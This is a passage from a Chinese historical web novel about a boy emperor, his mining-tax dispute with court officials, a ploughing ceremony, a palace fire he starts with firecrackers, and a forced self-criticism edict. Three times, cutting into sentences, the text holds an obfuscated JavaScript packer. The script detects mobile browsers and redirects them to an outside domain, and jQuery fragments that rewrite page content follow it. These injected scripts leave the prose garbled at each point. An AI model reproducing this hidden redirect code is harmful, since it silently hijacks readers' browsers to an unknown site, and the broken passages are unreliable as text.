他身边只有一个赵除佞,还有赵除佞手下所把握的东厂完全听信于自己。
试问这天下还有谁会比宫中的太监还要对自己亲近与衷心?
然而一石激起千层浪。
梁纲话语甫一说完,底下的百官顿时炸开了锅。
最先反应过来的是程国泰。
乍一听到梁纲的话,他满目难以置信。
满腔怒火,忿然作色,一时间他也顾不什么礼节,骈指一点,疾言大喝一声“竖子敢尔!”。
就连一直忙着对打的户部与兵部也纷纷停了下来。
两部尚书皆是鼻青脸肿,却也不妨碍他俩不约而同地跪下,齐齐附和道:
“陛下三思啊!此举万万不可!!!”
“为何不可?那国库的亏空你们谁来补?”
傅谊一拧眉,语气已有几分不善。
这群人闹了这么久,要钱的要钱,拼命的拼命,一追根究底就互相推诿卸责,折腾半天给不出一个有用的方略,他的耐性也即将被耗尽。
但是朝堂上的这些人就跟没听到他这句话似的,一个个直挺挺跪下,甚至连司礼监的几个大太监也出言反对。
一瞬间,傅谊的脑中骤然有些迷茫。
他们为何反对?为何从来没有人考虑过他的想法?
他都还没来得及把自己的打算说出口,就被文官们毫不留情地驳回,连商量都不商量,甚至集体向自己施压。
难道就因为自己是皇帝?
此时,今日从未说过一句话的萧锵也朝着傅谊缓缓跪下。
见首辅也是如此,殿中百官愈加振奋,庆幸阁老也与诸位共进退。
只有傅谊的心越来越沉。
“陛下,并非是我等臣子有意阻拦,着实是矿税一事万万不可取也。开采之弊,大可虑者有八。矿盗哨聚,易於召乱,一也。矿头累极,势成土崩,二也。矿夫残害,逼迫流亡,三也。雇民粮缺,饥饿噪呼,四也。矿洞遍开,无益浪费,五也。矿砂银少,强科民买,六也。民皆开矿,农柔失业,七也。奏官强横,淫刑激变,八也。今矿头以赔累死,平民以逼买死,矿夫以倾压死,以争斗死。及今不止,虽倾府之藏,竭天下之力,亦无济於存亡矣。”【7】
萧锵滔滔不绝地说了很久,很久。
傅谊却是一个字也没听进去。
他俯视着朝廷百官,偌大一个殿堂,竟只有梁纲一人是立着的。
这下面跪着的,有他的至亲,有他的老师,甚至还有他的敌人,都同仇敌忾地一起反对自己。
分明他们与自己只是隔着几级台阶而已,为何都不能好好说话,偏要如此紧紧相逼?
这一刻,前所未有地,傅谊心头涌起阵阵无力感。
他什么也不想管了,直接留下一道圣旨,拂袖而去:
“就这样吧,遣镇守太监前往各地核查税务,督察矿业,此事不容再议,散朝。”
21. 第 21 章
因派遣矿监税使之事,傅谊与朝廷百官陷入了胶着
正月十五的超会上他虽说了不容再议,但总有人变着法子地上奏其危害。
不光是崇正党,就连从前那些跟这些人不对付的魏与归和宋骥等人,都出奇一致地跟着他们齐声反对。
傅谊被闹得头疼欲裂,干脆尽数将奏疏都原封不动地打回去,真正做到一视同仁。
不过他还是年纪尚轻,低估那些纵横官场多年的老油条。
每天一早,六部九卿的官员就来个上百号人效仿古法“伏阕”,跪在左顺门外,大呼太/祖高皇帝名号,连哭带喊地逼迫傅谊收回旨意。
崇正党还悄无声息地在这些哭天抢地的人群中安插了自己人,变本加厉地重提入孝宗嗣一事。
傅谊简直要被气疯了。
这些人打也不得,毕竟他怕齐涵虚之死重蹈覆辙;骂又骂不得,毕竟身边没人帮他说话,他一个人做不到舌战群儒。
气得傅谊日日在西苑里挖坑,夜里做梦都想把这些人推进去埋了!
君臣之间就这般相互折磨了许久。
最终以傅谊服软作结,公开表示若是有人有法子填补国库的亏空,那他便取消收矿税的国策。
也算程祥程阁老有本事,还真想出个暂借都城赁舍一季租的办法,筹集到十三万两银子。【1】
虽然这笔钱于国库巨大的亏空而言,无异于是杯水车薪。
不过这令傅谊很是高兴,大大地嘉奖了程国泰,头一次真心实意地夸赞了自己这位素来古板教条的先生。
可惜好景不长,傅谊还未来得及下旨取消矿税,便有官员来报陕西山东大旱,请求朝廷赈灾。
于是程阁老筹集到的这点微薄的银子,就跟走过场般象征性地在国库里了转了圈,还没来得及捂热就又要被花出去了。
这一次,反对派遣矿监税使的官员少了很多。
傅谊原是想着拿这笔钱去赈济陕西。
去年他下金陵前,西北的情况就已不同乐观。
先皇还特意举行了一次斋礁求雨,也没见得有多大成效。
连年的大旱,无论是轮到哪个地区,百姓的日子都不好过,弄不好还容易激起民变。
然而他的母后岳澜语另有想法。
她慎重指出,其父陶王的封地便是在山东的定陶。
虽说先陶王在世时并未前去封地就藩,不过如若先太子未出意外,那么如今该继承陶王爵位的人就该是傅谊自己。
若是连当今皇上和陶王都要弃其父亲的封地于不顾,当地百姓会如何作想?
更何况陕西所需的赈灾银远超国库程阁老所筹集到的晕字数目。且远水解不了近渴,不如让自家镖局先筹些粮食支援灾地,再从临近省份借调官粮。
山东则由傅谊的亲弟陶王拿着银子躬身前去赈灾,顺道把那件一直令傅谊烦心的事给一并解决掉。
岳澜语本来也是反对傅谊征收矿税的,但是依如今的情况来看,征矿税总比对百姓加农税要好。
此外,她还叮嘱傅谊好好准备籍田礼,免得到时候闹笑话。
傅谊一听简直乐开了花,整日就扒着指头算天数,盼着礼部定好的吉日早早到来。
为此,傅谊特意把宫中能找到的农具都搜罗了过来。
那日一早,天不亮他就换上便装,兴冲冲地开门迎接舅父。
面对着如此兴奋的小皇帝,身为礼部侍郎的岳渊峙简直不知该如何开口。
“陛下,臣有一言不知当不当讲。”
“怎么连舅父你也搞这一套?有事就快讲,待会我朕可是要亲耕下田呢!”
听到此话,岳渊峙的内心咯噔了一下。
“陛下可知亲耕的礼仪?”
“嗯——?不就是让我亲自种地吗?”
傅谊困惑抬头,不解其意。
“就这些,没了吗?太后娘娘没跟陛下再交待些什么别的话?”
岳渊心中一梗,努力提示道,仍抱有一丝期冀。
闻言,傅谊一拍脑袋,恍然大悟:
“哦,我想起来了!娘让我好好准备籍田礼,不要到时候在百姓面前闹笑话,所以我特地让人弄来了几个常见的农具,都好好学了一番该如何用!”
话讲着,傅谊还折回寝殿里,搬出一个大箩筐递给岳渊峙,说这个比较轻,籍田礼上让舅父背肯定不累。
搂着个大箩筐,岳渊峙的心情那叫一个复杂。
合着自己日讲上解释了半天的《礼记》全在白讲。
估摸着是听到“天子亲耕”那句,心思就早已飞到爪哇国去种地了。
但是面对着这么一个如此好心大外甥儿,岳渊峙实在是不忍心再教训他的不是。
他深吸了一口气,平复下情绪,郑重其事道:
“籍田礼并不是真的需要陛下亲自去田里种地。您只需推三下农具,随后看着各官如法炮制便是。”
“为何?”
傅谊呆滞住了,愣了半天神,方才怔怔吐出一句话,
“可是如若我朕不身体力行,那百姓如何能明白天子劝农的决心?”
“他们不需要明白得那么清楚。因为您是皇上,具有无上的权威,一言一行皆被赋予意义,所以您只要在先农坛上出现,百姓自然就能感到您的恩德。”
“……”
傅谊没有回话。
岳渊峙眼睁睁地看着他脸上洋溢着的笑容逐渐消失,变得垂头丧气起来。
“舅父,您难道不觉得很迂腐吗?这话说出来您自己会信吗?”
半晌,傅谊才闷闷地憋出了这么几句话。
岳渊峙长叹一声,语气颇为心疼,
“陛下,这不是臣信不信的问题,而是您,您不得不去信它。”
“可是舅父,我不明白,我不明白这种虚礼为何要存在?既没有什么实际用处,还得把人死死束缚着。”
“因为您是皇帝,要用这些礼仪去统治百姓,就不得不去遵循。”
“但是我——”
“陛下!时辰不早了,我们该走了。”
岳渊峙难得强硬地中断了这个话题,匆匆忙忙带着傅谊与随行官员会合,前往先农坛。
《表记》云,天子亲耕,粢盛秬鬯,以事上帝。
春来物始,上天以各种征候启示万物复苏之迹,天子则承天之意,顺民之心,亲耕籍田,祈天之佑。
在皇帝亲耕之前,官府选取数名优伶扮作风雷云雨各神,并召集数百名大兴、宛平两县的农民作务农之状。【2】
在伶人们高唱的太平歌声中,傅谊推着雕有漆金行龙的犁出场了。
某种意义上而言,这场籍田礼,比傅谊想象中的还要糟糕与无趣。
他左手执鞭,右手持犁,在两位老人的搀扶下,仅仅走了三步,他的亲耕仪式就已结束。
耕毕后,他必须安坐在帐幕下,一动也不能动,观看以户部尚书为首的各官将此举如法炮制一遍。
顺天府尹负责播种。覆土完毕后,教坊司的伶人便立即向傅谊进献五谷,恭贺陛下的一番辛劳卓有成效,以至五谷丰登。
在百官高呼万岁后,籍田礼就该结束了。
不过这并不能影响到傅谊面无表情地回到宫中,捡起早上没能带得走的农具,直往西苑冲去。
岳渊峙也跟着去了。
这一次,他并没有阻拦,反倒是把岳棠棣和傅谦一起带过去帮忙。
在夕阳的余晖下,几人默默地帮着皇上填土。
所填的这些坑,皆是傅谊前些日子的杰作。
他本是想在发泄完怒气后过段时间再来种花,然而花还没来得及种,这坑倒是绊倒了不少宫中的宫女和宦官。
碍于皇上的威严,无人敢把坑用土
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505099|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
填上,只得小心翼翼地绕道而行,然后失足踩进另一个隐秘的大坑。
直至昨日黄保委婉的提醒,傅谊这才想起此事。
正好今日他在籍田礼上憋了一肚子的火,左思右想都还是觉得很气愤,干脆就跑到西苑里来忙活。
大抵是心中有愧,岳渊峙一直背着个大箩筐,任劳任怨地将傅谊那些花花草草背过来背过去。
傅谊本来也没想过舅父会来帮忙。
见到岳渊峙干农活时一举一动颇为熟稔,他不由看呆了。
被问及道原因,素来风度翩翩的岳侍郎掸了掸身上的土,浑不在意道:
“这个嘛,当初我还在蜀中时帮你爹挖过竹笋。哎,爷俩都是爱使唤人的性子,怪我,活该摊上你们一家子。”
“嗯——?为什么我爹会跑去蜀中?还有舅父,那个时候您不是该在书塾中念书吗,怎么还有闲情逸致去帮爹挖竹笋?”
傅谊一脸困惑。
“这事你就得去问你娘了,干嘛把这人捡回家,”岳渊峙翻了个大大的白眼,“或者烧个香问问你爹,问他为什么放着好端端的亲王不做,偏要大老远地跑到蜀地瞎折腾。”
“再说,我又不是整日住在书塾里头,也是要穿衣吃饭的。”
说到此处,岳渊峙似是意有所指,抬头瞥了眼傅谊,
“更何况圣上每日上课的时候,不也是人在桌子前,魂儿却不知道飘哪里去了?”
傅谊:“……”
这一刻,傅谊很明智地选择了闭嘴。
“不过早上陛下问臣的问题,臣现在可以答了。”
“陛下既然觉得那些虚礼无用,那您可曾想过,为何周公要制礼作乐,还让它们传承至今?”
“陛下不妨换个思路想想,与其埋怨,不如想想它们为何存在?臣以为万事万物皆有其存在的道理,绝不是一两句就能下定论。”
“周公旦作《周官》,其实质是为了统治,所谓‘经国家,定社稷,序民人,利后嗣’,当如是也。不过皇上也别忘了,周之前是哪朝?”
“殷人不问苍生问鬼神,崇信鬼神到了无以复加的地步,甚至以活人来祭祀,这种草菅人命的做派,也是其灭亡的重要原因。”
“正因周朝以史为鉴,以周礼治国,关怀百姓,国家才得以安定,百姓的心中才能受到礼法和秩序的约束。”
“不可否认,在历朝历代的更迭下一些东西变了味儿,失去了其最初的意义,逐渐变得繁琐虚假,以至于好使的工具却成了枷锁。不过,这时候就需要有识之士对它们进行改造,所以才有了百家争鸣,如今又有了阳明心学。”
“心学讲究个知行合一。有人因一叶而知秋,有人却因一叶而障目。人们惊羡于见微知著之神通,做的却常常是管窥蠡(lí)测的蠢事,归根究底是因知中未有行的缘故。”
言此,岳渊峙放下手中的活儿,拱手作揖,正色道,
“臣跟陛下说了这么多,不是在指责陛下先前的想法,只是想告诉陛下,判断事物需要一个长期的过程,仅仅截取一个片段难免有失偏颇,还需知行合一。知之真切笃实处即是行,行之明觉精察处即是知。当您真正能做到心行合一,也就知道该如何改变完善这些您所厌弃的东西,甚至让它们为您所用,无往不利的同时造福于万民。”【3】
“好吧,我朕尽力。”
傅谊沉闷地哼了一声,用小铲子拍了拍土,以示回应。
过了半天,他忽地又冒出了一句:
“舅父,我说如果,只是如果啊,如果父王没有病逝,如果先帝和太子哥哥也没有走,我也用不着做皇帝了,那我现在在陶丘种的大葱,会不会比我人还高?”
“陛下,命数这事这谁也说不准,不过山东的大葱确实会比人还高,当然也有可能是您太矮了。”
“啊啊啊舅父快住嘴!这个就算了吧!!!”
22. 第 22 章
籍田礼过后,陶王傅谦奉旨前往封地赈灾。
因陶王年纪尚幼,是故由太后娘娘作陪,定远大将军昆玉霜护送至山东定陶。
朝中自然有人弹劾太后此举有违礼法。
不过岳澜语仅凭几句“当陶王妃多年,不忍见封地百姓受苦”“初当太后不太懂规矩,之后再学也不迟”给堵了回来,随后便携着傅谦翩然离去。
出人意料的是,年仅十岁的陶王并不怯场,施粥救饥,从容不迫。
他先是祭祀先考,言明其来意是为了向百姓告罪。
傅谦言,先陶王薨逝前非常痛心于未曾入陶地关照过此处的百姓。而皇上与自己皆为其子嗣,如今了却父亲一桩心愿,也算是替皇上尽一份孝道。
不过远在京城的傅谊并不知道,他的弟弟是以他和父王的名义赈的灾。
此时此刻,他正被关在文华殿内,苦兮兮地写着罪己诏。
起因是昨晚傅谊在宫中挂彩灯玩,嫌不够尽兴,点了鞭炮想热闹热闹。
未想不慎失火,殃及禁宫重地。
鞭炮点着了连串的彩灯,彩灯又引燃了囤积的鞭炮,遂一发不可收拾,大火直扑乾清宫。
见火势大起,就算是下令扑救也来不及了,傅谊干脆带着宋徽猷跑到远处瞧着,隔岸观火。
傅谊没见过这么大的阵仗,不由直呼“好一棚大烟火!”,并问宋徽猷山东衮州,鲁藩烟火是不是也是这般壮丽。【1】
天下之看灯者,看灯灯外;看烟火者,看烟火烟火外。未有身入灯中、光中、影中、烟中、火中,闪烁变幻,不知其为王宫内之烟火,亦不知其为烟火内之王宫也。【2】
宋徽猷却是一脸木然:“陛下,这我不知,您不妨待陶王从山东回来后问问他。我只知,这次我们闯大祸了。”
傅谊倒吸一口凉气:“……嘶,趁宫里人还没发现,你赶紧跑吧。”
宋徽猷:“陛下今日睡哪?乾清宫都烧没了,您该当如何?”
傅谊眨巴眨巴眼,满脸期冀:“那我可不以坐着你的马车,同你一道回府?”
宋徽猷果断拒绝。
傅谊不免有些丧气:“好吧,那你快走吧,我看见黄保带着人过来了。”
宋徽猷大惊,拔腿就跑:“陛下后会有期!”
他前脚刚走,后脚岳渊峙和魏与归就同时到了。
两人今日在西苑内阁值房守夜,本还在纳闷宫中为何会突然放起鞭炮。
然而不久,乾清宫的上方就有阵阵黑烟飘来,甚至隐有火光闪烁。
随即,傅谊的贴身宦官黄保匆匆跑来,惊恐地告诉他俩万岁爷的乾清宫走水了。
岳渊峙不敢多想,不顾一切地直往乾清宫奔去,找了半天没找到人,就要往火光里冲。
还好魏与归眼疾手快,连忙拦住了岳渊峙。
他鹰目朝着远处一望,瞧见了在那看热闹的傅谊,不由分说把小皇帝逮了过来。
见傅谊无事,岳渊峙一颗悬着的心总算落回到胸膛里。
问及起火原因,岳渊峙只觉心头也好似有一把大火熊熊燃烧,但碍于魏与归在场,只能恨铁不成钢地责怪道:
“好端端的,又不过节,你在宫中放什么鞭炮!”
傅谊委委屈屈,小声念叨着:
“娘和谦儿都去山东了,舅母也不在,宫中太冷清了,我朕不习惯,就想着热闹一下……”
岳渊峙哑然,不知该如何接话。
傅谊自知做错了事,也不敢像从前那般张牙舞爪了,低下头,一声也不敢吭。
最终还是魏与归打破了这份沉寂。
他缓缓地弯下腰,目光沉沉地直视着傅谊。口中吐出的话语,却是冰冷无比:
“陛下,自从登上这个皇位,您就是孤家寡人了。这个道理,您不该想不明白。”
为了保全皇家颜面,魏与归最终还是嘴下留情,没把实情给讲出去。
只说是下人胡闹,无意点燃了贮存着的鞭炮,这才一下子走了水。
毕竟小皇帝点鞭炮把宫殿烧了的事儿,说出去实在是太令人难为情,魏与归身为帝师也要点面子。
翌日,傅谊就被程阁老一顿骂。
程国泰喋喋不休地说了很久,说他望之不似人君,没有帝王之相,傅谊都一一受着。
虽然先生骂得很难听,但傅谊心中其实并不怎么生气。
好吧,他也觉得自己确实不是当皇帝的料,程阁老说得很有道理。
他也不是生来就要去当天子的。
傅谊听着听着,没想到程阁老还没有结束的意思。脑袋渐渐地就耷拉了下去。
他实在是太困了。
昨晚没睡好,他只能随意将就一下,还得忧心着宋徽猷有没有被别人发现。
程国泰见了,更是气不打一处来,一声怒吼把傅谊吓得一震:
“陛下实在是太过放纵下人了,司礼监难道就不管管?!”
赵除佞微微地欠了欠身,面无表情答道:
“程阁老教训得及是,是老奴治下不严,这就命人把那不专心侍主的混账东西给拖出去打四十棍,以儆效尤。”
话音刚落,赵除佞的身后就冒出来几个大太监,不由分说绑住黄保。
眼见着黄保一声不吭,任由着自己跟条狗似的被拖走拖走,傅谊急得眼泪都快下来了。
他连连解释道是自己点鞭炮把乾清宫烧没着的,要罚就罚他,此事与黄保无关,黄保怎么说也是及时去报了消息。
然而程国泰并不领情,反倒皱着眉头说怎能让皇上龙体受罚。而贴身侍奉的宦官没有尽责看顾好主子,本就该罚。
傅谊听完就彻底崩溃了,哭着闹着不同意。
但无奈整个大殿里根本没人听他的话,他只能独自跑到午门,想阻止这场不公的对待。
结果刚跑到门口,却又被魏与归给赵除佞拦得死死的,只能远远地听着监刑太监那一声声无情的报数声,还有棍子裹挟着疾风,落在人身上时发出的沉闷响声。
待黄保一瘸一拐地回来后,傅谊可谓是声泪俱下。
他抽抽噎噎地说自己都已经刻好放在“奉忠庙”的牌位,哭得眼睛都肿了一大圈。
黄保宽慰了傅谊许久,说是自己只是皮肉伤,不打紧,厂公让人手下留情了。
在挨打前,他看到厂公对着监刑官瞥了一眼,随即那监刑官就把脚尖向外一张,呈现出一个“八”字,这才下令让锦衣卫行刑。
望着皇上手中刻着自己名字的牌位,黄保哭笑不得。
他从未敢想,九五至尊的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505100|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皇帝竟然会知道宫中这么一个规矩。
太/祖有祖训,严禁宫人在宫内烧香禳告。宦官和宫女倘若有亲人去世,只能偷偷地跑到惜薪司的官署旁摆一块牌位。
惜薪司日日都要烧柴,他们这些无儿无女无人祭拜的下人们将牌位摆在附近,享几缕青烟,也算是降香拜祭过了。
至于为何会把惜薪司叫为“奉忠庙”,因为自古忠孝两难全。
黄保很是感动,真诚地表示自己一定好好珍藏万岁爷亲自刻下的牌位,死后“奉忠庙”里就放这个。
傅谊一听,哭得更伤心了,眼泪稀里哗啦地往下淌,止都止不住。
他追问黄保怎么还想着死在宫里头,就不能以后出去过寻常人的生活,得个善终?
黄保被傅谊问得一噎,诚惶诚恐,当即表示自己定会好好惜命,一心跟着主子做事,绝不再让万岁爷担忧。
其实黄宝保没舍得告诉皇上,他就是因家中困窘才自小被送入宫中。
他又没有亲戚,就算有幸能活到告老的那一日,也无法回乡享清福。
能遇上万岁爷这般的主子,他已经很满足,不敢再奢求旁的。
傅谊认真注视着他:“你要好好努力,做个大太监,最好坐到掌印太监的位置,争取把赵除佞给踢下来。”
黄保有一点点小无奈。
“陛下,厂公都知道枪打出头鸟,自己不当掌印太监,还扶持个旁人做打手。”
接着黄保反问道:“陛下真的觉得官越大越好吗?主子当了皇上,真的比从前开心吗?”
傅谊不高兴地撇了撇嘴,生着闷气,半天才吭声:“好吧,你说得很对。”
惩戒完黄保,事情还没有结束。
因昨日这场意外,宫中又再无多余的木材可用以重修大殿,内阁司礼监迫于无奈,只得派镇守太监去各地征收矿税,顺带着将加征商税的提议拍案定板。
程阁老还留下个任务。
他说皇上不遵礼法以旁系入主宗,刚刚即位就有山东山西大旱,乾清宫被烧,现如今还要劳民伤财地征矿税,皆因陛下失德所致,所以让圣上务必写一则罪己诏,公开向天下臣民认错。
傅谊因此足足气了一整天。
虽说傅谊还是陶王世子的时候,没少被母妃罚写检讨。
但是那些都是因为他做了错事才被罚的,他认了。可为何自从当了皇帝以后,一点风吹草动都能说成是他失德?
山西的大旱又不是一日两日了,分明去年先帝在时就有。
先帝甚至还办了场斋礁求雨祈福,也没见老天爷多领情,要怪也是怪先皇头上啊。
他让矿监税使去收矿税是为了什么?还不是去填国库的那一个个大窟窿。
这些官员要钱的时候个个伸着手,生怕自己被落下,结果好不容易想出个法子,又哭爹喊娘地不同意。
国库又不是他挥霍空的,为何不去问罪那些官员?!
傅谊愤愤不已,没少跟百官反抗过。
只是很可惜,这都是无用功。
先帝在位时那般凶残的手段,这些人个个都敢梗着脖子硬碰硬,如今对上个他这个尚未加冠的小孩子,没人将他放在眼里。
所以这个罪己诏,傅谊不得不写。
他无可奈何。
23. 第 23 章
之后,傅谊一直被内阁逼着研究怎么写罪己诏,根本没有功夫过问宋徽猷的情况。
而早朝上亲眼看着程阁老怒斥圣上全程的宋骥心里也不怎么好受。
皇上自小没了父亲,也就跟自己儿子差不多大,二人关系又颇为亲密,故而宋骥能护着尽量护着,无关紧要的事便睁一只眼闭一只眼放过去了。
有时候他也觉得程民安性子实在太过耿介,言辞犀利,时常令人难以忍受。
无奈人家话糙理不糙,程阁老也是一心为民的忠臣,更何况昨晚也确实是皇上不对,就算是他也不好再出来打圆场。
只是他执意要将陛下的贴身小宦官给拖出来打一顿,甚至是四十大板,小皇帝怕是要伤心难过好一阵子了。
电光石火间,宋骥蓦想起一件事儿。
徽猷昨日下午又被陛下召进宫,自己没当回事儿,摆摆手就让他去了。
如若没记错起火时间的话,印象中徽猷回来后没多久乾清宫就被烧了?
宋骥大惊失色,径直打道回府,然而里里外外却到处都见不着宋徽猷的身影。
下人们一脸愕然,说公子一大早就走了,也没说去哪儿,就是瞧着蛮不开心的。
宋骥这辈子也没想到过,自己这个大理寺卿,竟有一日还要拜托下属来找同在大理寺干活的儿子。
同样,大理寺少卿的脸色也不太好。
他偷瞄了下宋骥的脸色,心中暗暗叫苦。
但此话他又不能不说,踯躅半天,大理寺少卿终于决定开口:
“大人,请容属下向您通报一件事。”
“何事?”
“今个儿有位小兄弟本该休沐,却偏要去狱中轮值。”
“是谁这么大胆?难道是大理寺的案卷还不够多吗,他还有闲心乱窜?!”
宋骥本就心中烦闷,一听此事,更是气不打一出来。
“是,是……”
说到此处,大理寺少卿语变得吞吞吐吐起来,磨蹭着就是不肯说下去。
兴许是见人在旁边杵了半天没动静,也不知道要干啥,宋骥心中更加郁闷。
他面色沉郁一言不发,倒是把大理寺卿吓得如同倒豆子般一股脑全说了:
“是,是贵公子!不知为何他今日过来垂头丧气的,还跟我们大伙儿讲他是个罪人,要去狱中被关上几日反思过错。属下拗不过他,就只能向大人您求助了!”
宋骥:“嗯?”
宋骥是真没想到,自己会在大理寺的牢狱里找到儿子。
只见宋徽猷颓靡地坐在里面,双眼无神,栏杆外还让人上了把大锁。
宋骥苦笑不得,但也大致明白了他的用意。
“出来吧,圣上没有怪你的罪,只有身边那个小宦官挨了板子。”
“那小宦官没死吧?”
宋徽猷顿时变得紧张起来,惊魂不定地问着父亲。
“没死,赵除佞让人留了一手,我特意等到最后才出宫就是为了看看那小太监情况如何。要是真把人给打死了,陛下岂不得恨死他?”
“那就好,”宋徽猷拍了拍胸口,长舒一口气,“这小宦官曾经可是侍奉在先太子身边。他若真死了,皇上肯定会发疯的。”
“竟有此事?”
宋骥扬了扬眉,很是诧异。
怪不得早上陛下那么不管不顾,硬是不让人打那小宦官,原来还有这么一层原因。
只是先太子,世事难料命途多舛,哎……
宋骥无声地叹了叹气,示意大理寺少卿把钥匙拿过来开锁,对宋徽猷继续道,
“想明白错哪了?那就赶紧出来弥补过错。虽说锦衣卫留了手,但四十板子也不是那么好受的。更何况此人是代圣上受罚,陛下肯定也不能找太医来给他看看,太医院都有记录,一查就查出来了。你不妨下次进宫面圣时带点伤药给他吧。”
“是。但昨日意外我也有份……”
宋徽猷的声音又弱了下去,实在是对那个一己承担他们二人过错的小太监于心不忍。
“昨日之事已经结了,陛下估计也不会想再节外生枝。你与其在这自怨自艾,倒不如好好想想以后该如何行事以免拖累旁人,想明白了再出来吧。”
闻言,宋骥也不打算再劝,挥手吩咐旁人退下,徒留宋徽猷一人孤寂在狱里。
出门前,宋骥似是还想起什么似的,扭头告诉宋徽猷,
“对了,记得以后转告给陛下,让他好好写罪己诏,莫要再使性子反抗了。有时候,短暂的妥协也不乏为一种策略。”
虽然宋骥的出发点是好的,但无奈事与愿违。
“我朕既不德,上帝神明未歆飨也,天下人民未有愜志。今纵不能博求天下贤圣有德之人而辅天下焉,而曰入孝宗嗣,是重吾不德也。谓天下何?其安之。”【1】
当皇帝云舒为云梵念着这道已遍发全国上下的罪己诏时,惊得眼珠子都快蹦出来了。
他知道小殿下,啊不,陛下的脾气素来很倔,但没想到会倔到这种地步。
“小殿下他,还是不服气啊。”
云梵一边侧耳倾听着,一边随手捻起一根檀香,慢悠悠地将它点燃。
一缕缕细烟从线香的末端逸出,恍如池中一圈又一圈扩散着的涟漪,悄无声息地在屋内荡漾开。
云梵不自觉地深吸一口气。
他素善香道,尤喜焚香。
檀香渺渺,沾染上了几分他刚从桃叶渡携来的六朝烟水气,清静敛神,颇能降心。
所以在议事之时,云梵总是偏爱于点上几根檀香,用以摒除杂念。
不过此举常常让云卷云舒受不了。
俩人嫌檀香味儿太浓太冲,每次都弄得屋内烟雾缭绕,活像是把活佛请进府里供奉着。
于是乎干脆就让云梵一人在窗边点香,他们在桌子另一头坐着。
“大哥,先不说皇上这道罪己诏。我们在盐务司的人之前给京里递了奏本,说了扬州盐引壅积和余盐问题,可内阁却迟迟未曾表态。”
“不该啊,如此大的事,内阁怎会一点动静也没有?”
云梵眉头紧锁,很是不解,
“不是说所有折子都是由小殿下亲自过目?难不成是金陵官员的消息传得不及时?”
“正月十五的财政会议,陛下因矿税之事与群臣意见不合,一怒之下便把所有的奏折给打了回去,想必是看都没看吧。”
云舒解释道。
“所以我们的奏折就这般被忽略了?”
云梵有些疲惫地轻揉眉心,露出一个为难的神色。
“怕是如此。”
云舒的语气也略带遗憾。
“那群臣的奏章是有他亲自看的,还是尽数归赵除佞所管?”
“这个嘛,应当是陛下亲自看的。据我和云舒了解,京中大部分官员都曾抱怨过陛下极具简化的‘阅’字,就三条竖杠,比草书还难懂。”
“对对对没错!”云舒趁机补充道,“除了三条竖杠,还有人因为拍马屁拍到马腿上,被陛下画了只大王八上去!这事不光传遍了京城,如今也传到金陵这了!”
云梵:“……”
他长吁一口气,一脸无奈。
“好吧,听起来确实是他会做出来的事。你们可知提出收矿税的梁纲又是什么来路?”
“甘府尹说他是齐涵虚的同乡,今年刚升到河南道掌道御史。约摸着就是因齐涵虚之死,这才投奔到阉珰麾下。”
“你们当真以为他是真心为了替友讨公道,而不是借力打力,图名图利?”
云梵注视着缓缓燃烧着的檀香,目光随着起青烟的浮动而涌动,语气有些漫不经心。
“正月十五的财政会议闹得如此厉害,他可没少出力啊。议财政时不发话,偏偏等所有人为国库亏空吵得不可开交时再添一把火,特意找了小阁老话语中的漏洞,给了一个看似合理的提案,这怎能不让涉世未深的小殿下心动?”
“而小殿下本就与崇正党有龃语,他这么一激,二者间的矛盾更不可调和。而小殿下又坚决不愿让步,所以才搞出个这么别扭的罪己诏。”
“至于矿监税使能不能真派得出去,想必梁纲是不在乎的,不然为何之后未见他继续坚持?若不是接着出了乾清宫被烧一事,估计他自己都没想到能成。”
“不过他这提议,并非全无可取之处——”
云梵蓦地话锋一转,嘴角含笑,注视着云卷云舒二人,
“你们可知萧首辅和司礼监为何齐声反对收矿税?当真这么好心?嘴上说得好听,归根究底还不是因为此举触
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505101|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
及到了他们的利益而已。”
“通常来说朝廷是限制甚至是禁止私人采矿的。而矿业又总是需要大批人聚集在一些较为偏僻的地区,这就意味着朝廷很难去监管他们。”
“但是采矿这件事能带来的利益着实是太大,大到许多人愿意铤而走险,互相包庇。说白了,所谓矿税之争,就是梁纲想光明正大地让赵除佞也来分一杯羹。小皇帝不知情,可大臣们知情啊。”
“当然,不排除像程阁老这种一心为民的,首辅大人虽不可辨其真心,我们也不知道他在江西有多少万亩良田,又有多少矿产,但他话说得没错,所言之弊端也是开放矿禁后不可避免的,万一激起民变,岂不酿成大祸?”
话说着,云梵长叹一口气,痛心疾首道,
“就是苦了我们这些做小本生意的商人,先帝时期拼命加征茶税,盐引壅积的问题还没个着落,如今又来加征商税。啧,让不让人行商了?”
“说到这个,我们要拜托京中相识的徽商到时候去照拂一下澄怀吗?”
